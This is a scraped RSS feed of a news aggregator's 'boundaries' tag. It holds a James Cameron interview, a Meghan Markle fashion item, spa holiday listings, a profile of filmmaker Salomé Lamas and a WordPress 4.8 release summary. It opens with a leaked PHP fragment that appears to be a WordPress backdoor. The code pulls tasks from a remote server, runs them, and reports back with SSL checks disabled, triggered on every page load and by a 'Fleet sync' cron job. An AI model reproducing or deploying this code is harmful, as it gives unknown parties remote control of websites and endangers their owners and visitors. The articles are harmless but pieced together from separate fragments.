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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); boundaries – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 21 Sep 2022 00:43:20 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png boundaries – Brief News https://briefnews.eu 32 32 James Cameron on pushing the boundaries of what’s possible in Avatar and Super/Natural https://briefnews.eu/james-cameron-on-pushing-the-boundaries-of-whats-possible-in-avatar-and-super-natural/ https://briefnews.eu/james-cameron-on-pushing-the-boundaries-of-whats-possible-in-avatar-and-super-natural/#respond Wed, 21 Sep 2022 00:43:20 +0000 https://briefnews.eu/james-cameron-on-pushing-the-boundaries-of-whats-possible-in-avatar-and-super-natural/ James Cameron is on a mission to push beyond what’s possible. The Academy Award-winning filmmaker quickly became a visionary for his early work in The Terminator franchise and Aliens. Titanic went from a film plagued with production problems to 11 Oscar wins and the first film to reach the $ 1 billion mark. Cameron’s Avatar dazzled the world with its use of 3D technology on its way to becoming the highest-grossing film of all time, a title it still holds today.

Despite becoming one of the most important filmmakers of the last 40 years, Cameron is an explorer at heart, and his fascination with the Earth is on display in the new National Geographic series, Super/Natural. Executive produced by Cameron, Super/Natural takes viewers into the minds of the world’s extraordinary creatures. Thanks to scientific and technological advancements, the series displays some of the most fascinating imagery ever recorded.

An eagle catches a fish in a scene from Super/Natural.
An African fish eagle catches a fish. (National Geographic for Disney+/Joe Hope)

Digital Trends participated in a roundtable discussion with Cameron about the upcoming series. He spoke about discovering new science for Super/Natural, designing new creatures for Avatar, and the excitement behind looking for new ideas.

Note: This interview has been condensed and edited for length and clarity. 

Digital Trends: You’ve mentioned when humans get older, they are further removed from nature. With Avatar, you’re bringing people back to a state of childlike wonder with what we see onscreen. In Super/Natural, people are in awe thanks to these jaw-dropping visuals. How were you able to recapture that childlike wonder in Super/Natural?

James Cameron: Super/Natural, for us as the creators of the show, was all about attitude. We wanted to have a style. We wanted to have a subjectivity to it. We wanted to take you into the minds and behind the eyes of these animals and see how they view life. The extraordinary senses that they bring to bear and the strategies that they use. They’re not as intelligent as us, but they’ve had millions of years, in some cases, to develop these incredible strategies, these alliances, these ways of behaving. A lot of this is new science.

Collectively – National Geographic; my company, Earthship; and the lead production house, Plimsoll, in the U.K. – we looked for intriguing new results that had come from scientific investigation. There are obviously thousands of scientists out there all over the world looking into the nooks and crannies of nature to understand these strategies. So we look for exciting new ideas.

A blue alien rides a flying dragon in Avatar 2.

With Avatar, if I created a creature with my designers for Avatar and I said it could see infrared or it could process the world five times faster than we can or it can emit or reflect ultraviolet so they can see each other flying around in the forest at night, you wouldn’t blink an eye. But when you think, “Oh, that’s a squirrel,” or “That’s a lizard,” something that we think of as familiar, all of a sudden, we’re seeing it in a completely different light, literally and figuratively. And I think that’s exciting.

It’s also about this less reverential style. This isn’t a stodgy, sort of classic natural history series with the narrator droning on. We’ve got Benedict Cumberbatch. He doesn’t just narrate it; he acts it. He gets you inside what’s happening in a way that I think is very relatable.

Super/Natural streams September 21 on Disney+. Avatar will re-release in theaters on September 23.

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  • Meghan Markle continued to put her own twist on royal fashion while visiting Sussex on Wednesday.
  • The duchess paired a $ 595 Hugo Boss leather skirt with a $ 99 blouse by & Other Stories and a cream coat by Armani.
  • She also recreated the sleek updo she wore for her wedding reception.

From sleek pantsuits to tuxedo dresses, Meghan Markle has put her own spin on royal fashion several times in the four months since becoming the Duchess of Sussex.

When the duchess made her first official visit to her namesake county of Sussex with Prince Harry on Wednesday, she put a royal twist on a leather pencil skirt.

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Float in the infinity pool or swim in the lagoon before being pampered at the wellness centre where you can join a yoga class or have a Balinese massage. 

Virgin Holidays (0344 557 1542/virginholidays.com) offers four nights from £735 (two sharing), B&B. Price includes return flights from Heathrow to Dubai. Departs January 17. 

AGADIR, MOROCCO

Gaze out over crashing waves while enjoying a beach-side massage at Agadir’s Paradis Plage, the place to enjoy a traditional Hammam or learn to surf. 

The Healthy Holiday Company (0208 968 0501/thehealthyholidaycompany.co.uk) offers seven nights from £695 (two sharing), half board. Price includes return flights from Gatwick to Agadir. 

LUTON

Escape to the country at Luton Hoo hotel, set in 1,065 acres. Hot stone massage treatments and ESPA facials are available. 

Luton Hoo (01582 734 437/lutonhoo.co.uk) offers doubles from £155 (two sharing), half board. 

COUNTY DURHAM

Asian-inspired treatments are the order of the day at County Durham’s Seaham Hall. Their new programme includes seaweed body wraps and detox menus. 

The Georgian country house, Seaham Hall (0191 516 1400/seaham-hall.co.uk) sits on a clifftop and offers two nights from £485 (two sharing), half board. 

YORK

Middlethorpe Hall near York is offering a weekend of creativity, health and well-being from January 19-21. 

Dance and movement sessions will keep you active while drawing and writing classes will channel your creativity. 

Pride of Britain (0800 089 3929/prideofbritainhotels.com) offers two nights at Middlethorpe Hall from £549 (two sharing), full board. 

ST LUCIA

Starting from celebrity haunt Barbados, sail the Caribbean, stopping off at St Lucia with its towering Pitons and Antigua, famous for its 365 beaches.

While on board, relax with an open-air massage with bamboo shoots soaked in essential oils or take a dip in the hydrotherapy pool. 

P&O Cruises (0843 373 0111/pocruises.com) offers 14 nights from £1,449 (two sharing), full board. Departs Barbados January 26. Price includes return flights from Gatwick. 

HENLOW

Champneys Boot Camps are less about army-style drills and more about feeling re-energised to achieve your New Year’s resolutions. 

Focusing on weight loss, there are plenty of activities including spinning, battle ropes and water netball. 

On January 12, Champneys Henlow (0843 316 2222/champneys.com) offers two nights from £459 (two sharing), full board. 

PO VALLEY

Escape to Po Valley at the foothills of the Alps where the ivy-covered villa of L’Albereta awaits. 

The fresh mountain air will put a spring in your step, as will a bike ride around the vineyard and a treatment in their Espace Chenot Wellness Spa. 

As well as traditional treatments such as massages and facials you can have your diet analysed. 

L’Albereta (dialling from the UK: 00 39 0307 760 550/albereta.it) offers four nights from £1,575, full board. 

NEW YORK

Be traditional and cross the Atlantic aboard Cunard’s Queen Elizabeth. Join their world voyage from Southampton, pausing to take in the pink sands of Bermuda and spending one night in iconic New York, en route to Fort Lauderdale.

Check in to the Royal Spa for mud treatments and aromatherapy body scrubs or daily yoga on the decks. 

Cunard (0344 338 8650/cunard.co.uk) offers 13 nights from £4,089 (two sharing), full board. Departs Southampton January 7.

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]]> https://briefnews.eu/stretch-your-boundaries-fascinating-travel-destinations-both-near-and-far/feed/ 0 Portugal's Filmmaking Wonder Child Is Pushing the Boundaries of Art https://briefnews.eu/portugals-filmmaking-wonder-child-is-pushing-the-boundaries-of-art/ https://briefnews.eu/portugals-filmmaking-wonder-child-is-pushing-the-boundaries-of-art/#respond Fri, 08 Dec 2017 08:12:45 +0000 http://briefnews.eu/portugals-filmmaking-wonder-child-is-pushing-the-boundaries-of-art/ When filmmaker Salomé Lamas calls her creations “hybrid,” she isn’t talking Toyotas. Whether she’s shooting desperate fortune-seekers heading into La Rinconada, the world’s highest-altitude mine, in Eldorado XXI (2016), a documentary that feels at once primitive and postapocalyptic, or hovering between reality and fictionalized memory in No Man’s Land (2013), a profile of a bloodthirsty Portuguese special forces soldier turned gun for hire, she is, in her own words, going “where they can’t put labels on you.” Except that this 29-year-old has already acquired a number of labels — director, installation artist, documentarian, author, theoretician — while becoming one of the most exhibited, awarded, granted and prolific citizens of Portugal, boldly roving across the terrain of contemporary media to reclaim and redefine her home nation’s penchant for global exploration.

I don’t have a romantic vision of filmmaking. I find ‘creativity’ and ‘talent’ meaningless words.

Salomé Lamas

Talking to this slight, soft-spoken figure with mournful, monkish features beneath severe bangs — Joan of Arc as modern-day hipster — it seems astonishing that she has already logged some 25 film-based projects on her résumé. She has also earned fellowships from Harvard, the Rockefeller Foundation and Berlin’s DAAD; participated in numerous museum shows and workshops; and presented at international conferences, and she holds degrees from schools in Prague, Amsterdam and her hometown of Lisbon.

Ask Lamas for the source of her drive and inspiration, however, and she pauses from sipping mint tea purchased from one of the city’s open-air kiosks. She credits her artistic, workaholic parents, who she says led her around the world’s museums and took her to art films — Marguerite Duras’ India Song was a favorite, along with Star Wars — so that she always “felt older than my contemporaries, included in a larger adult world.” She studied cinema and art, along with large doses of history and philosophy, but was never motivated by mainstream commercial success in a nation where, she points out, “there has luckily never been much of a movie industry.”

Lamas is very much a product of Lisbon, a capital on Europe’s periphery that’s been embraced by young bohemian types, along with vacationing tourists. The risk, she says, is letting loose the reins so the city turns into a “new Disneyland,” but Lisbon has for years been a multicultural hotbed of avant-garde experimentation that pulses through a network of underground spaces, Afro-Brazilian cultural centers and antiquarian bookshops. As much as she draws from Portugal’s artistic traditions — the melancholy surrealism of turn-of-the-century poet Fernando Pessoa, Paulo Rego’s dark and mildly sinister portraits, singers of tragic fado ballads — Lamas is also eager to smash stereotypes. “I don’t have a romantic vision of filmmaking,” she said in an interview last year. “I find ‘creativity’ and ‘talent’ meaningless words.” Instead she likens her work to that of a cobbler, a steady, focused — and decidedly unsentimental — honing of skills.

It’s the kind of contrary, exacting approach that has drawn the attention of people like Nuno Crespo, dean at the School of Arts at Portuguese Catholic University. Noting her “particular sensitivity” and ability to transform the world into images, Crespo says Lamas “has been able to develop a work that despite its format — short films, feature films or video installations — always has the capacity to become a pertinent meditation on the human, its limits and its presence on earth.”

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Indeed, Lamas’ cinematic meditations take varied forms and attach to a surprising range of subjects — her first staged work, Fatamorgana, is a political parody set in a wax museum on the outskirts of Beirut. Throughout, however, the director says that she is driven by an “out-of-control curiosity.” Curiosity that has landed her in extreme and dangerous conditions, like filming at 18,000 feet in the Andean mountains, being interrogated by the KGB in Moldova and enduring a three-week solo hike in the jungles of Borneo. Her next work-in-progress will be no different; in her first foray into fiction, Lamas will be shooting in poverty-stricken Mozambique. By way of explanation, the director says, “I’m drawn to situations where I am trapped because I find the actual shooting so painful.”

And so she travels to the ends of the earth, to document life lived at the margins, in order to connect audiences sitting comfortably at home with people and places at the fringes of existence. Her goal, she gamely summarizes, is to slow the harried pace of modern life, “to achieve an active dialogue with the viewers, forcing them to be patient and reflect … and confront subjects that are full of questions.”

Lamas’ dogged insistence on mining those liminal spaces and states of being is what makes her work unique. Luis Urbano, who runs O Som E A Fúria production company and has worked with a number of leading Portuguese directors, tells OZY: “Working with her as a producer, I am very interested in her cinematographic approach blurring the boundaries between documentary and fiction. The way she connects memory, history and fiction in her films makes her absolutely singular.”

Still, the ethics of presenting a remote piece of the world through passing, subjective glances and the voyeuristic nature of technological advances remain at the heart of Lamas’ concerns as an artist. “Turning private into public makes nonfiction filmmaking a dirty business,” she concedes. But for someone still honing her craft, cobbling together a career, she is aware that “there just aren’t any guidelines out there, any rule books to help you.”

Driven to perfection as much as the outer margins of existence, this creative wunderkind tends to work on several “parallel projects” at once. But the reason, Lamas explains before rushing off into the Lisbon night, isn’t merely to sustain grants. “I’m never happy with a film when it’s done, so the best way to escape is starting a new one.”

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WordPress.org today launched WordPress 4.8, which adds a slew of new features to the blog management tool “to express yourself and represent your brand.” You can download the new release, available in 38 languages, now from WordPress.org/Download (8.5MB).

WordPress is a content management system (CMS) that powers 25 percent of the web. The latest version is dubbed “Evans,” in honor of jazz pianist and composer William John “Bill” Evans.

WordPress 4.8 introduces link boundaries. If you’ve ever tried updating a link or the text around a link and found that the wrong text ends up being linked, this is for you. Link boundaries streamline the process of editing links, hopefully resulting in less frustration.

As for the widget improvements, you can now add an image to a widget without needing to know code, add any video from the Media Library to a sidebar on your site, and add a widget for any audio file in your Media Library. Last but not least, rich-text editing capabilities are now native for Text widgets: create lists, add emphasis, and insert links.

For those that want to improve their WordPress skills, the Events and News dashboard widget now draws your attention to nearby events. All upcoming WordCamps and official WordPress Meetups are now right there when you login to your dashboard.

Other developer additions and changes include:

  • More Accessible Admin Panel Headings: New CSS rules mean extraneous content (like “Add New” links) no longer need to be included in admin-area headings. These panel headings improve the experience for people using assistive technologies.
  • Removal of Core Support for WMV and WMA Files: As fewer and fewer browsers support Silverlight, file formats which require the presence of the Silverlight plugin are being removed from core support. Files will still display as a download link, but will no longer be embedded automatically.
  • Multisite Updates: New capabilities have been introduced to 4.8 with an eye towards removing calls to is_super_admin(). Additionally, new hooks and tweaks to more granularly control site and user counts per network have been added.
  • Text-Editor JavaScript API: With the addition of TinyMCE to the text widget in 4.8 comes a new JavaScript API for instantiating the editor after page load. This can be used to add an editor instance to any text area, and customize it with buttons and functions.
  • Media Widgets API: The introduction of a new base media widget REST API schema to 4.8 opens up possibilities for even more media widgets (like galleries or playlists) in the future. The three new media widgets are powered by a shared base class that covers most of the interactions with the media modal. That class also makes it easier to create new media widgets and paves the way for more to come.
  • Customizer Width Variable: New responsive breakpoints have been added to the customizer sidebar to make it wider on high-resolution screens. Customizer controls should use percentage-based widths instead of pixels.

The team did not mention WordPress 4.9 or 5.0, but presumably the next version is already being worked on and will be released in a few months.

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